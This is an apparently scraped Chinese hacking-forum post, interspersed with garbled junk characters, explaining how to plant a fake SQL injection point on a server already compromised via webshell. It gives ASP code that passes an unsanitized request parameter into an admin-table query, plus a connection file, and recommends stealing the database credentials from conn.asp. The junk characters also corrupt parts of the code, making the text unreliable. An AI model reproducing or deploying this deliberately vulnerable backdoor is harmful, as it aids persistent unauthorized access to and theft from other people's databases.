自己构造注入点方便入侵# x3 I9 O) U, _7 `* s6 z! y3 Y$ b; ]( t/ l
, s. z: @/ o" g5 _* d% ~9 H% [今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
9 t+ J. x5 P% D! R# f" B- }1 }7 q* |: s. j
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!; i/ p& R8 p( x7 {3 P& Y4 l$ O0 C
( f* {1 Z% m6 G# u首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和! Y# h/ C( _5 F
6 y3 T: k& F2 x) k4 t! Q o- w
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
1 |" @, K& i( R: _. w) y5 g5 I3 K- d; ^* y( I% V9 [) Z
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:* L F* R8 ^7 P0 A9 B$ S/ I
+ |. c/ O1 y$ [4 F$ t& X2 \
程序代码: `2 A! s7 ?+ H1 c3 d
<!--#include file="xx.asp"--># t5 r4 V Y/ q7 p2 Y+ h, R
<%
; N. e0 A* J1 p/ B9 e eset rs=server.createobject("ADODB.recordset") n! k0 j) Q' a! N# H& ]; L3 v
id = request("id")! o- }8 e7 z" H
strSQL = "select * from admin where id=" & id0 a3 D6 j$ g$ u0 u% a3 T& l
rs.open strSQL,conn,1,3
/ q+ ?3 Z$ F$ y2 o8 K5 ^& G) yrs.close" d1 s5 i9 C9 P8 I4 y3 n, J: Z
%>
9 E0 t% l0 o$ \/ K" L& f% I) E; _! B+ U9 u' I% p+ e
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在% |+ b3 E4 P8 ` }- s4 e
7 y8 F m2 B& f+ X r你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!0 b1 u y' D7 B% ]& O2 B2 A
~* q5 d" [, H# \然后就要构造一个连接数据库的文件了,代码如下:
1 ]8 [& j0 s0 ~1 t& d9 i1 c程序代码
6 H+ p8 D$ e& G<%
# G0 ]& R0 [2 @5 QstrSQLServerName = "000.000.000.000" '服务器名称或地址
( D3 e7 a# l; I3 ^) y6 G# I, x8 L" DstrSQLDBUserName = "sqlname" '数据库帐号* V+ \8 Z/ W5 l* B3 u8 r
strSQLDBPassword = "sqlpass" '数据库密码8 Z+ T J- v6 k
strSQLDBName = "sqldataname" '数据库名称
! O ? _! M% F* E$ K. H; zSet conn = Server.CreateObject("ADODB.Connection")
1 ?& i% S" j3 x" @5 d, OstrCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"# j+ Y$ |, Q7 _) h& H
conn.open strCon
% {* z: j# p6 S0 {" Y u2 R {%>
8 k: E- g' n+ }" W6 E) T/ Q0 |
# r) q E, w+ g$ T0 e这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
! G( s6 ^( } [; @$ \1 U' x
8 D7 j1 s8 J% R- N就这样,正常情况下,就OK了,伪造成功……8 g% y h2 i6 F% I) Z8 ?
9 O j$ h' |; o 如果有什么问题可以提出来大家一起探讨解决。 |